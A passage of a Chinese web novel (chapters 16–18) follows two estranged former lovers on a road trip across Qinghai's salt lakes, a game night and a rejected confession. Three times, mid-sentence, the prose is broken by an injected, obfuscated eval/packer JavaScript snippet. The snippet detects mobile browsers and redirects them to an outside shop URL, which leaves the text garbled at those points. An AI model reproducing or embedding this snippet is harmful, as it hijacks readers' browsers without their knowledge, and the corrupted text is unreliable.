路柯和徐澈停好车过来,被这风一吹,两个人嗷嗷叫着喊冷,等走近湖边时,像是忘记了冷一样,一直哇哇乱叫,喊好美。 小柴旦湖的湖水颜色很迷人,会随着季节、天气、光线等的变化而呈现出不同的颜色。 近岸处的湖水是淬火般的蒂芙尼蓝,清澈得能看见水下盐晶凝结的枝状花纹,而湖心深处,阳光穿透水面,是钴蓝与松石绿的交融。 在云影覆盖的角落,湖水沉淀为靛青,几近墨黑,深不可测。 感受着高原刺骨的寒冷,视觉却被这抹丰富多彩的蓝所震撼。这不是明媚阳光下的欢快,而是忧郁深刻的旅途记忆。 湖边还有着大量白色的盐状晶带,远处背景是壮观的柴达木盆地荒漠和雅丹地貌,搭配这色彩绚丽的湖水,好像整个世界突然安静了下来,只能听见自己的心跳声。 此刻来这里的人并不多,他们四个站在一排,一边喊冷一边又站在湖边想多看会儿。 盛屹白说他之前来过这里,还在湖东岸看见了双拱彩虹。 靳越寒没见过,很好奇,两只眼睛眨了眨,像是在期待什么。 下一秒,盛屹白打开手机把照片给他看,双拱彩虹一端扎进深蓝湖水,一端藏在苍黄戈壁,像神话里的琉璃通道。 第一次盛屹白主动给他看自己拍的照,靳越寒便问他还有别的吗,他还想看。 盛屹白刚往后滑了一张,靳越寒还没来得及看,路柯的声音传来。 “靳越寒!来帮我一下!” 两个人对视一眼,盛屹白说:“过去吧。” 路柯一直有教靳越寒摄影,现在帮忙拍起照来也是熟能生巧,拍得路柯都挺满意。 之后在帮路柯拍照的过程里,靳越寒却心不在焉,总用余光找盛屹白的身影。 盛屹白和徐澈站在湖边,徐澈正说着什么,笑得开怀,而盛屹白则站在他身侧,一只手随意地插在兜里,另一只手自然垂落,姿态松弛又有力。 他听着,薄唇只是轻轻牵起一抹极淡的笑意,风却独独为他而来,带着格外的眷顾,温柔地拂过他的额前,撩起几缕发丝。 那风又体贴地掠过他的肩背,恰到好处地勾勒出挺拔而流畅的轮廓。 他身上有着一种沉淀下来的疏离,并非冷漠,更像是一种历经世事后的冷静自持,是从容,更是沉稳。 他不是被风侵袭的旅人,倒像是风心甘情愿环绕的中心。 靳越寒不舍得把镜头从他身上移开。 他太过于执着在眼前的盛屹白身上翻检着过去的碎片,试图拼凑出那个他以为不曾改变的模样。 可眼前的盛屹白,是如此清晰,又如此不同。 在他不曾参与过的那些年里,盛屹白早已成长为更好的样子。那些年少时以为怎么也跨不过的坎,如今看来都是过眼云烟。 好像只有他,原地踏步,一直不肯往前看。 16.现场教学 因为太冷,他们只在湖边待了半个小时,便前往饮马峡吃午饭。 饮马峡是典型的公路驿站小镇,餐馆集中在国道两侧,徐澈找了家川渝小炒,说想吃回锅肉。 刚到店点好菜,靳越寒接了个电话急急忙忙出去,没几分钟盛屹白的电话又响起。桌上只剩下路柯和徐澈两个人面面相觑,没敢动筷。 靳越寒找了个人少的地方,安静地听着电话,后知后觉今天原来是中秋节。 电话里,陈远樵的笑声有些刺耳:“越寒,你打算什么时候回来,旅游也好几天了,要是不习惯就早点回来,别让你姑姑成天念叨。” 靳越寒回答得模棱两可,没说什么时候回,也没说习不习惯。 他跟姑父的关系这么多年一直不咸不淡,姑父只会偶尔展现出那么一点好,就像是走过场一样。 因为今天是中秋,才会象征性给他打个电话。 他刚被姑姑收养时,陈远樵就说过,因为不是亲生的,所以没有理由要真心对他好。就连现在也不是真心想要他早点回去,这样说只是客套话。 客套了几句,陈远樵才说:“那天你姑姑情绪太激动,说错了话,你别怪她。她说这段时间不会再打扰你,让你好好玩一段时间。” 靳越寒嗯了一声,“我没怪她。” 那天以后他本以为姑姑会再质问他更多的,但一连几天都没有联系过他。 没有联系,不过问更多,才是他们一直以来的相处方式。 以前还小不懂事,他会想姑姑为什么对他那么刻薄冷漠,明明他是她哥哥唯一的孩子。懂事以后他再也没有了类似的想法。 没有人生来就应该对他好,没有人是欠他的,这些都是姑姑教给他的。 而现在姑姑对他这么关心,除了愧疚,也许是爷爷去世后,他们就是彼此在这个世界上唯一的亲人了。 拿到了想要的财产,才会对没有任何威胁的他彻底卸下防备,还给予同情。 除了这些,靳越寒想不出更好的理由来解释这一切。 挂断电话后,他没有急着回去,反而在外面站了几分钟。他不会抽烟,心情不好或者郁闷的时候只会发呆,或者数地上的砖有几块。 他真的是个很无聊、很无聊的人。 沿着原路往回走时,他在店门口左侧的墙角边,见到了一个熟悉的身影。 盛屹白在跟谁打电话,脸上表情不算严肃,却也不算明朗,时而笑着,又带着说不上来的客气和疏离。 起初靳越寒以为是在谈工作上的事,走近些才听见盛屹白喊了句妈。 他猛地停住,听着盛屹白继续说起自己的近况,还叮嘱电话里的人注意身体,不要太辛苦。 “你跟姐现在该在家了吧,嗯我在外面,还没吃饭,有空我会回家一趟,不用太担心……” 盛屹白的语气很慢很温和,脸上的表情却总差点儿意思。靳越寒感到一丝奇怪,却又说不上来哪里奇怪。 他以为是现在长大了,所以盛屹白和他妈妈的沟通方式变了,多了一些客气,甚至是说不上来的距离感。 电话里只听到他姐姐和妈妈,那盛叔叔呢。 靳越寒后知后觉,反应过来,盛叔叔很忙,这会儿应该还在研究院工作,经常过节也没时间回家。 他们一家人,还是那么的和睦。 在盛屹白发现之前,靳越寒先一步进饭店,迎接路柯和徐澈的哀嚎。 盛屹白回来后,四个人商量着等下去翡翠湖的事。 这里离翡翠湖十多公里,开车不用半小时就能到。它不是一个单一的湖泊,而是由许多大小不同、形态迥异、深浅不一的盐池组成的矿区。 湖水因矿物质丰富以及不同浓度的卤水,在阳光照射下会呈现出翠绿、蓝绿、薄荷、奶白等多种色彩。 来之前靳越寒有做过功课,但真正到那以后还是忍不住惊叹,现实亲眼所见的翡翠湖有多么惊艳。 他们乘坐观光车直达最深处的4号观景点——翡翠之心,是翡翠湖最大的湖群,色彩饱和度全区最高。 太阳当空,风时而平静时而汹涌,却难以抵挡湖水的魅力。 湖水在阳光下折射出极其浓郁的翠绿色,比顶级翡翠更通透。从湖岸到湖心,颜色由薄荷浅绿到祖母深绿,一直到蒂芙尼蓝层层过渡,像上帝打翻的调色盘。 纯白的盐结晶堤岸如同天然画框,将湖水色彩浓度视觉放大好几倍。没有晨昏的柔光滤镜,没有雪山的冷峻倒影,一切暴露在正午的聚光灯下。 盐滩白得刺眼,框住一池池沸腾的绿,那绿太饱和了,薄荷绿、祖母绿、鹦哥绿、霓虹绿……所有关于“翡翠”的想象在此刻沦为贫瘠的比喻。 徐澈和路柯不约而同卧槽了一声,不知是惊叹还是被光刺的,两个人兴奋地把墨镜一摘,眼里闪烁着喜悦。 他们一直哇哇乱叫,显得靳越寒和盛屹白太过淡定了。 靳越寒戴着墨镜,别人也就看不见他眼里的惊喜和笑意。同样的,他看不见盛屹白现在是什么表情。 他们继续往前走,靳越寒走在盛屹白身边,踩着滚烫的盐壳走向那条通往湖心的盐道,鞋底磨过盐粒,响起细微的咔嚓声。 强光下,湖水失去了镜面的魔法,却显露出更狰狞的瑰丽。水底盐脉的枝状纹路如同冻结的闪电,在浓郁的绿中蜿蜒出森白的裂痕。 靠近岸边的浅水区,矿物质析出结晶,像撒了一地碎钻,每一粒都晃得人睁不开眼。 翡翠湖相较于前几个湖,人更少些,却有很多无人机在空中盘旋。路柯遗憾自己没有考无人机证,不然拍出的片更惊艳。 徐澈说:“盛屹白考了。” 突然所有人的目光都聚到了盛屹白身上,路柯抬了下墨镜,像是没招了一样,问盛屹白有什么是不会的。 “很多。”盛屹白答得谦虚。 他学无人机是好几年前的事,年轻气盛,什么技术热门就总想着学来。 靳越寒想自己上次见无人机,应该是点外卖的时候,门外汉总是对门内的世界感到好奇,以及对门内的人多少有些崇拜。 他问盛屹白:“你什么时候考的?” 他真的什么都不知道。 盛屹白不知道在想什么,想了很久,才淡淡道:“忘了。” 听到忘了,靳越寒想说的话突然噎住,不知道该再跟他聊些什么好,怕盛屹白又说忘了。 盛屹白今天又是忘了叫他起床,又是忘了考证的时间,靳越寒猜他是不是真的记忆力不好了。 从四号观景点走到三号观景点的路上,靳越寒偷偷用手机查了下。 【人在什么年纪记忆力开始减退】 搜出来的结果显示:记忆力通常在二十五岁之后开始逐渐下降。 盛屹白现在二十七,那怪不得了。 三号观景点的人群密度明显增高,防晒伞和自拍杆组成一片移动的金属丛林,聒噪的人声在空旷的盐滩上显得格外刺耳。 然而,所有的喧嚣在目光触及到那片蒂芙尼蓝的瞬间,哑了火。 湖水清澈得近乎虚假,阳光毫无阻碍地穿透下去,照亮水底雪白的盐晶,折射出比天空更甜腻的蓝。它旁边紧挨着的是一池浓稠的琥珀黄,如同熔化的硫磺,又像陈年威士忌,散发着一种沉郁的、近乎警告的光泽。 蓝与黄,冷与暖,甜腻与焦灼,被一道白色盐梗强行分隔,又在视线的恍惚中诡异地交融。 靳越寒眯着眼,看向湖边那排队伍——玻璃船。 几条小船被粗绳拴在浮台上,船体透明得如同不存在。乘客被工作人员半扶着塞进船里,躺下的动作起初很僵硬,慢慢才放松起来。 “你想去坐?”路柯问道。 靳越寒头摇得像拨浪鼓,好多人看着,挺尴尬的。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493222|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸皮薄,总是不习惯太多人看着他。 后来,他们一路往回走,逛完二号观景点的薄荷绿湖和心形盐洞,再动身去一号观景点看奶白色盐沼。 原本计划四个小时逛完的景点,他们三个小时就逛完,干脆又在附近的翡翠步行街逛了逛。 暮色四合,步行街热闹起来,满街的烟火气和喧嚣声,多的是像他们一样闲逛的游客。 经过一家盐湖矿物主题文创店,难得靳越寒看上一个盐晶标本,封装于透明亚克力盒中的天然盐花结晶,雪花状纹理,模样好看极了。 盛屹白站在他身边,手上拿着个盐灯。靳越寒瞧着这盐灯也不错,多看了几眼。 他本想把盐晶标本买下来,但听徐澈说预约好的羊排店快到时间了,而现在这家店排队买单的人又多,于是他默默放下,想着别耽误大家的时间。 晚餐吃的是一家炕锅羊排,羊排上桌时,铁锅里焦香四溢。 带骨羊排外皮酥脆焦黄,咬下去内里软烂脱骨,丰腴的油脂瞬间化开。而且羊肉毫无膻味,只有浓郁的鲜甜。 一吃上好吃的,靳越寒就忘了刚才没买上盐晶标本的事。他嘴里塞着块肉,一门心思扑在面前的肉上。 听着他们三个聊天,谈起盛屹白的事时他就停下手上的动作,竖起耳朵听。 徐澈说起有一年他们学校附近举办过一次游戏比赛,他拉着盛屹白一起去参加。 “这家伙嘴上说着自己不会,结果最后还拿了个奖回来。” 盛屹白无奈地浅笑着,喝了口饮料,抬眼时正好和靳越寒对上。 有一瞬间,靳越寒从那个眼神里看到了不一样的东西,但下一秒,那双眼睛又回归平静。 应该看错了。 吃完饭时间还早,路柯是个很喜欢玩游戏的人,他找了个大家都玩的游戏,问盛屹白要不要来比一局。 盛屹白还没来得及拒绝,徐澈先说:“诶诶诶,这样吧,我们四个一起开一局,输的两个明天早起去买早餐。” 靳越寒愣了愣,怎么还有他的事。 他无措地摆手说自己不会玩,能不能不参与。 路柯抓着他:“你会的你会的,就是我前几天晚上让你下的,我还教你玩了呢。” 想到那个游戏,靳越寒有些为难,他只学了一点皮毛,而且太复杂了,他还没搞清楚到底怎么玩,上手没两分钟就被人打死了。 在他妥协时,盛屹白也说可以。 靳越寒紧张得搓搓手,脑子里不断回忆那天路柯是怎么教他的,第一步要做什么,该怎么放技能等等。 游戏开始后,他硬生生打了两分钟小怪,一直避着路柯他们。前方路柯和徐澈已经大战了好几个来回,盛屹白的金币排第一,至今还没有掉血。 靳越寒技术太烂,一直躲在边缘地区,想着多活一会儿是一会儿,结果盛屹白找到了他。 他转身就跑,没跑几步就被盛屹白追上,还掉了好几滴血。 “别跑了。”盛屹白抬起头看着他说:“再跑就真的死了。” 靳越寒眼里透露着一丝委屈,心里想着盛屹白干嘛一直追着他不放,他都已经稳稳的倒数第一了。 后来,盛屹白指挥他的操作,教他该按哪个键,该怎么进攻和防御,慷慨又耐心的“手把手”教他。 徐澈听见了,“你俩闹呢,还现场教学上了。” 路柯我靠了一声,骂他:“你讲着话怎么还给我放个大招!” 他们俩手上忙着,嘴上也没闲着。 教得差不多了,盛屹白站在原地,让靳越寒来打自己,试试刚才教的有没有学会。 靳越寒深吸一口气,手指在屏幕上灵活滑动着。他原本只是打算把盛屹白教的都展示一遍,表示自己刚才有认真听,想让盛屹白满意。 但没想到的是,他一不小心…… 把盛屹白打死了。 17.划清界限 游戏界面显示盛屹白的金币都落到了靳越寒头上,大家才反应过来发生了什么。 “开什么玩笑?盛屹白你怎么就这么没了?我还没跟你碰上呢!”路柯一脸难以置信。 徐澈啧啧称奇,“真是教会徒弟,饿死师傅,这谁敢相信,盛屹白你是不是放水了。” 靳越寒自己也刚反应过来,张了张嘴,满脸惊讶:“你怎么、怎么不知道躲开……” “来不及躲,你动作太快了。” 盛屹白无所谓,把手机放在桌上,又说:“你现在基本都会了,可以去找他们了。” 靳越寒迟疑着不敢动。 盛屹白:“我不能白死了。” 很快,靳越寒心里的歉意转变成动力,不能让盛屹白就这么白白死了。 盛屹白让他别躲着,往前跑。后来,他没再躲着怕遇上谁,一边打小怪赚金币,一边去做任务。 他的金币目前排第一,离游戏结束还有五分钟。 徐澈喊着不要早起买早餐,顺着地图找到靳越寒的位置,没一会儿就到了他面前。 对面的人不再是盛屹白,而是徐澈,靳越寒紧张起来。虽然是有点信心了,但徐澈可不会站那等着他打。 果不其然,他只撑了一分钟就被徐澈打死了。 徐澈高兴地笑着,一转头发现盛屹白好像瞪了自己一眼,再看对方脸上什么表情都没有,冷静得很。 莫名的,他咂巴出一点自己不应该赢的味道。 那么快就死了,靳越寒本来有些失落,但盛屹白说:“其实你反应力挺快的,往左边跑时还知道放个一技能把他冻住。” “真的吗?”靳越寒一双眼睛直直地望着盛屹白,还眨了眨。 点一下头不够,盛屹白还多点了两下。 哄小孩一样。 靳越寒一高兴,觉得这游戏也不难玩了,问他们还玩不玩。 路柯说没问题,徐澈也奉陪到底,盛屹白却说自己有事要出去一趟,交代徐澈坐他们的车回酒店后,拎着车钥匙就走了。 见靳越寒眼巴巴看着外面,路柯让他专心点,不能分神。 徐澈发现了什么,问道:“怎么盛屹白去哪你都想跟着,像黏人精一样。” 靳越寒很快解释说没有,“我就是……反正……我不是黏人精。” “黏人精”这三个字他说得很小声,没什么底气的样子。 小时候盛屹白的姐姐盛屹希也说他是个黏人精,老三天两头黏着盛屹白。 盛屹白不见了他要问,盛屹白去哪了他要跟,盛屹白做什么他就在旁边待着,坐哪都喜欢挨着盛屹白,视线里要一直有他的身影。 但是现在这样,不合适。 靳越寒把头摆正,轻叹一口气。 虽然他一直有提醒自己不要再黏着盛屹白,这样不合适,可他忍不住,只要一想到盛屹白在附近,他的目光就会不自觉往他身上移。 这似乎已经成了一种本能,不是习惯,也不是执念。 就是单纯的,喜欢盛屹白,从始至终。 - 从七点一直等到九点,酒店外面的灯亮了又暗,循环反复,盛屹白都没回来。 靳越寒试着发了条信息给他,问他去哪了,怎么这么晚还没回。 【盛屹白^ω^:很快了】 回复得很快,靳越寒放下心,没再担心太多。 他看着备注上那个颜文字,越看越觉得可爱,就像现在盛屹白脸上也是这样可爱的表情一样。 等他洗完澡出来,路柯正好从徐澈房间导完照片回来,手上还提了一个牛皮纸袋。 “给你的。” “给我?” 靳越寒疑惑地接过袋子,打开发现里面是自己今天很想买的盐晶标本。再往下翻,还有东西,是他多看了几眼的盐灯。 他很是惊讶和欣喜,问路柯:“这是哪来的?” 路柯往床上一坐,“盛屹白买的,他说自己有东西忘记买,去了趟步行街。” 他挥了挥自己手上的航拍明信片,“喏,还给我跟徐澈带了明信片。” 盛屹白买的…… 抓着手上的袋子,靳越寒想,盛屹白怎么知道他喜欢这两样的,还帮他买了回来。他脸上是自己都没察觉的笑意,路柯喊他时,就这么暴露了全部心思。 “有这么开心吗。” 路柯看着他袋子里那两样东西,问:“你跟他说你要这些了吗?” 靳越寒的礼物很特别,跟他们的不一样。 靳越寒摇头,他什么都没提过,所以现在才会这么惊喜。 “没说啊,那估计是知道你喜欢吧。” 路柯往床上一躺,若有所思道:“刚才我让他自己拿过来给你,结果他说算了,非让我给你,真是奇怪,就几步路的事。” “他现在在哪?”靳越寒问。 “在洗澡吧。”路柯打了个哈欠,“现在快十点,估计等会儿就睡觉了,有什么事你明天再找他吧,明天你们俩不是要去买早餐吗。” 对,明天还要早起去买早餐。 他现在穿着松松垮垮的睡衣,也不太好意思见盛屹白。 靳越寒把袋子里的东西放进行李箱,担心磕坏了,又借了路柯包相机的泡沫纸,里里外外把盐灯和盐晶标本仔细包装好。 路柯见了,笑:“这么宝贝啊,包这么细致。” 靳越寒没吭声,手上的动作慢下来。这是重逢后盛屹白送他的第一份礼物,他想好好珍惜,保存起来。 他很遗憾,曾经盛屹白送他的礼物没能好好保存,想念他时,都不知道该如何去想念。更遗憾的是,和送礼物的人,现如今变成了这样的关系。 他和盛屹白的关系,一开始是他带着好奇接近,好奇盛屹白是不是真的像大家说的那样,有个很幸福的家庭。 直到这份幸福分到了自己身上。 他总是很羡慕盛屹白的父母每天接他上学放学,因为是对门的关系,后来盛屹白的妈妈也会把他一起接回去。 他讨厌自己冷冰冰的家,所以更愿意待在盛屹白那个热闹的家里,本该草草解决的晚饭也在热闹和温暖中度过。 他们一家人出去旅游,盛屹白还会经常给他带回各种礼物,好像他也跟着一起去了一样。 不管是这些童年时的陪伴,抑或是长大后不断成熟的感情,他们之间不是一句两句就能说清的。 他和盛屹白的感情,根本就割舍不了。 关灯以后,漆黑的空间里思绪不断涌现,靳越寒把头蒙进被子里,一遍又一遍看着手机里的照片。 今天在翡翠湖,他只拍了三张照。其中有两张,一张露了半个盛屹白的头,一张露了盛屹白整个背影。 路柯说风景拍的不错,就是人物挡风景了,应该把人物截掉。 但靳越寒原本想拍的就是人物。 只有背影的这两张照片,是他无法宣之于口、现在唯一能做的全部。不越界,不让盛屹白为难,保持适当的距离,不去触碰那道陈年伤疤。 所有的不舍和不甘,他都一并咽下。只在夜里反复回想,他们到底为什么变成今天这样。 刚分开的前几年,他总一个人偷偷哭,偷偷难过。 路过盛屹白爱吃的店,他会一个人进去坐很久。听到盛屹白耳机里常放的歌,他会默默停下来,听完一整首才走。见到和盛屹白养的小白长得像的狗,他下意识会喊出“小白”,哪怕无人理会他。 他总在有关盛屹白的幻想里稀里糊涂地过着,一天又一天。 然后有一天,他突然真切意识到——啊,他们真的分开了,再也没有机会见面了。 那种无能为力,心如刀绞的滋味,像水浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16505283|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淹没他的头顶,让他窒息却没有死亡。 日复一日,年复一年,他清醒又痛苦地接受全部。 西北高原的风刺骨地冷,却冷不过八年前,他独自走在异国街头,拨出最后一个无法接通的电话之后,忙音在空旷的夜里回荡时的悲凉。 那年的冬天实在太冷,他一辈子都忘不掉。 - 大柴旦的清晨,温度只有五度,接近全日最低温。 盛屹白起晚了,急忙打开房门,瞧见靳越寒站在门口的墙边,裹着厚厚的大衣,两只眼睛还没完全睁开。 “你在这站多久了,怎么不打电话给我?” 靳越寒揉揉眼睛,嘴比脑子快,说:“怕你不接。” 说完他反应过来,又改口:“怕你没醒,吵到你。” 盛屹白看了他几眼,不知道该说什么好。见他很缺觉的样子,说:“你回去睡吧,我去买就行。” “不行。”靳越寒摇头,态度很坚决:“我们一起去!” 说着他走到盛屹白前面,示意盛屹白跟上自己。 没办法,盛屹白只好跟上去,边走边问他想吃什么。 “有什么好吃的?”靳越寒努力睁大眼睛。 盛屹白念了一大串,语速很慢:“有牛肉面,烩面片,羊肉汤,牛肉汤,青稞饼,油条包子也有,你想吃哪个?” 靳越寒还在想,想好要吃什么后,转过脸对盛屹白说想吃牛肉面。 盛屹白愣了下,他还以为靳越寒会想喝汤,汤里泡馍,喝完身子会暖很多。 “我以为你会想喝点汤。” 他带靳越寒走的路,离羊肉汤馆最近。 靳越寒啊了一声,停在原地,“我以为你想吃牛肉面。” 他记得盛屹白爱吃牛肉面。 站在人来人往的早晨街市,两个人看着对方,说不出一句话。 可这样,真的好像以前上大学时,他们一起早起去吃早餐,吃完又回去继续睡觉的那段日子。 明明隔了这么多年,却好像发生在昨天。 最后他们还是去了那家羊肉汤馆,位置不算太偏,这个时间店里人刚刚好。 靳越寒吃的很慢,珍惜着现在的每一分每一秒。 这样和盛屹白安静吃着早餐,今天、明天、甚至后天还能见面的日子,像做梦一样美好。 说起昨天晚上收到的盐晶标本和盐灯,靳越寒说:“昨晚你送的东西,我很喜欢,谢谢你。” 盛屹白说不用谢,顺路买的,脸上没有太多的表情和波澜。 靳越寒没问他为什么要送,因为他给路柯和徐澈也送了东西,这样一问反而显得自己太自作多情,太把自己当一回事。 有些话不用刻意去说,自己心里清楚就好,他还担心问了,盛屹白以后就不会送了。 吃完后,他们打包了两份回去给路柯和徐澈。回去的路上靳越寒走得很慢,说自己刚吃饱走不快。 可时间还是过得很快,他多希望这条路能更长点,能和盛屹白就这样一直走下去。 快到酒店时,靳越寒犹豫许久,还是叫住了盛屹白。 有些话,是一定要说的,怕再不说就没机会了。 他藏在口袋里的手依旧很冷,语速很慢:“那么多年我是一个人,我没有喜欢过别人……” 我还是只喜欢你。 他咬字清晰,眼神又是那样的真切。他看得出来,也感受得到,盛屹白同样是在乎他的。 “然后呢?” 盛屹白冰冷的声音让靳越寒一整个愣住。 而后盛屹白开始划清界线:“这跟我有什么关系,你是不是一个人,有没有喜欢别人,这些……好像都跟我没关系。” 他的眼里有冷漠、疏离、无动于衷,唯独没有在乎。 仿佛一切都是靳越寒会错了意,是一个笑话。 18.真吵架了 两个人不知道站了多久,世界似乎只剩下他们。 靳越寒忍住眼里的泪花,摇头时脖子又僵又硬,说:“没关系,什么关系都没有,我就是……随便说说。” 就是想告诉他,想让他知道,他可以当做没听见。 他知道这样很矛盾,这些话说出来意义不大。既清楚的知道他们为什么分开,没有在一起的可能,又还是抱有期待能够和盛屹白重新开始。 是他痴心妄想,是他贪得无厌,可就是舍不得,舍不得就这么放手。 他装作无事发生,急忙解释汤要冷了得快点回去,但刚走出几步,盛屹白就在背后叫住他。 “靳越寒。” 靳越寒胡乱擦了把脸,很快转过身。 盛屹白叹了口气,把右手边打包的汤给他,“把路柯这份提回去。” 靳越寒高高提起的心迅速落下,默默接过那份汤。就在他以为没什么话要说准备真的走时,盛屹白又抬手,把他没拉好的拉链拉上去。 冷风被挡住,脖子开始暖起来,冻麻木的下巴开始有了知觉。 盛屹白问他:“你傻不傻?” 靳越寒承认:“傻。” 然后盛屹白忽然笑了,那是一个很无奈又带点不舍的笑。他的目光始终不敢落在靳越寒脸上,怕看到他现在的样子,自己就会狠不下心。 靳越寒往后退一步,像是在埋怨他:“盛屹白,你很奇怪你知道吗,总是突然对我好,突然又对我不好,刻意和我保持距离,说那些让我伤心的话。我都不知道你到底怎么想的……你这样我、我真的猜不到,我好像不了解你了……” 他说话很急,全是对盛屹白行为的不满,像只发怒的小猫,没什么杀伤力。 盛屹白忽然很想摸摸他的头,又克制地收住手,提醒自己不能这么做。 他看着靳越寒,想说什么,又什么都说不出口。 只能跟他道歉:“对不起,都怪我。” 全都是他不好,情感大过理智,让事情变得这么复杂,还让靳越寒伤心。 他知道他很奇怪,既做不到坦荡直白的对靳越寒好,更做不到完全对靳越寒视而不见。介于两者之间,换作是谁都会觉得奇怪。 可是他不知道要怎么做,怎么做才是满分答卷。 让靳越寒伤心和生气,他很抱歉,他是个坏人。 后来,靳越寒没说一句话,头也不回地走了。他心里有气,除了气盛屹白,还气自己。 盛屹白很奇怪,他又何尝不是,矛盾和奇怪,从他们见面那刻起就有了。 他们的关系奇怪,他们的相处方式奇怪,他们说的每句话都奇怪,就连他看向盛屹白的每一个眼神,都很奇怪。 在别人眼里,他们是多年不见的朋友;在他眼里,盛屹白是久别重逢,心心念念多年的爱人。 走着走着,靳越寒的脸颊开始湿润,眼泪忽然就止不住了。 都过去这么多年了,怎么还是这么爱这个人…… - 吃完早餐,收拾东西时,路柯不知道该不该问靳越寒早上在干嘛。 他没等到自己的早餐,出门找时,刚好看见靳越寒在消防通道,蹲在地上不知道干什么。他喊了一声,靳越寒才像是回了魂,但眼睛红红的。 现在…… 路柯绕到他前边瞧了一眼,眼睛是不红了,但看起来不大高兴的样子。 纠结一会儿,路柯还是问:“你怎么了,是不是……不舒服?” 还是,和盛屹白发生了什么。 早上见到盛屹白时,脸色看起来也不太好。 靳越寒边换衣服,边说不是,让路柯不用太担心。 “好吧。”路柯把氧气瓶、创可贴、酒精棉片等塞进他包里,“等下去黑独山,备着点。” 他们今天要去黑独山,海拔跟日月山差不多,但那里路况复杂,从冷湖镇到黑独山段多为戈壁沙石路,且无信号无救援设施,什么东西都得备着以防万一。 刚出门遇上盛屹白和徐澈,靳越寒的黑色鸭舌帽压得很低,头都没抬,先下了楼。 特别是经过盛屹白时,特意绕大了一圈。 气氛说不上来的不对劲。 要出发前,徐澈特意找靳越寒,问他要不要跟盛屹白一辆车时,靳越寒张口就是拒绝,语气很是果断。 徐澈摸不着头脑,奇了怪了,靳越寒不是一直很喜欢跟盛屹白一起吗,今天是怎么回事,买个早餐还买出仇恨来了。 他问路柯知不知道,路柯头摇得跟拨浪鼓一样,眼神清澈又懵懂,看起来完全不知情。 他只好去问盛屹白,转过身见盛屹白坐在副驾驶,跟个大爷一样咬着根棒棒糖,就像是知道来的人不会是靳越寒一样。 “你们怎么回事,是不是吵架了?”徐澈皱着眉头,“昨晚不还给人家送小礼物了吗。” 盛屹白把糖咬碎,说了句没有,“哪那么多架吵。” 徐澈啧了一声,开始怀疑自己,“难道只有我觉得不对劲吗。” 盛屹白戴上眼罩补觉,让他专心开车别多想,“到了冷湖镇换我开。” 正常情况下,去黑独山需要四五个小时。从大柴旦镇出发,沿柳格高速向南行驶17公里,转入G215国道后向北开,经过冷湖镇后继续行驶70公里,最后抵达黑独山附近的停车点。 一路上,窗外都是无垠的灰黄色戈壁滩,地表覆盖着黑色砾石。接近冷湖镇时,经过一处石油遗址,废弃的砖房和锈蚀的油井在荒原中形成工业废墟与自然风化的强烈对比。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511525|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 过冷湖镇十几公里后,黑独山的样貌逐渐显露。 地平线上突起的纯黑色山群,像泼墨般侵染在黄沙中,山体无植被覆盖,棱角尖锐,与周边灰白色英砂地形成水墨画般的意境。 到达黑独山时,已经是下午三点,把车停在景区附近的停车场后,还需要徒步两三公里进入核心区。 与此同时,这个点来这的人很多,他们干脆跟着其他游客一起走,路上还学着别人用七块石头搭了个玛尼堆,堆成七层象征着祝福。 徐澈悄悄挤到靳越寒身边,压低声音问他:“你是不是跟盛屹白吵架了?” 两个人隔得远远的,恨不得中间挤个一两百人,话也不说一句,怎么看怎么奇怪。 看着走在前面的盛屹白,靳越寒垂着眼说没有,声音却带点委屈。 这算不算吵架他不清楚,只是他自己生着闷气。 路柯把徐澈挤开,对靳越寒说:“你俩要真吵架了,我肯定站你这边,要是觉得不行,我们就自己玩,不跟他们一块了。” 徐澈急忙道:“诶诶诶,别这样,他不说没吵架吗。” 见他们又要在路上拌嘴了,靳越寒用手挡住他们:“没吵架没吵架,你们也别吵。” 好不容易安静下来,靳越寒一抬头,盛屹白不知何时已经走到了最近的一座山头,等着他们过去。 黑独山的魅力所在,大概是它始终保留着原始粗犷的本色。 连绵起伏的山丘通体黝黑,覆盖着细密的黑色砂石,几乎寸草不生,有着荒凉、孤寂而又冷艳的独特氛围,能让人感受到前所未有的孤独和宁静。 大多人会选择爬上山坡,一览高处景色。但因坡度大,黑色风化砂砾松散,往上爬时脚底容易打滑,稍不留心就会受伤。 大家一个个都上去了,靳越寒盯着自己脚下这双白色运动鞋,还在思考是不是不上去也行,他在下边也一样能看到。 路柯喊了他一声:“快上来!” 靳越寒忙应了声好,犹豫一会儿后决定还是上去吧。他艰难往上爬几步,每用力踏出一步,松散的砂石就向下坍塌流失,像在原地踏步。 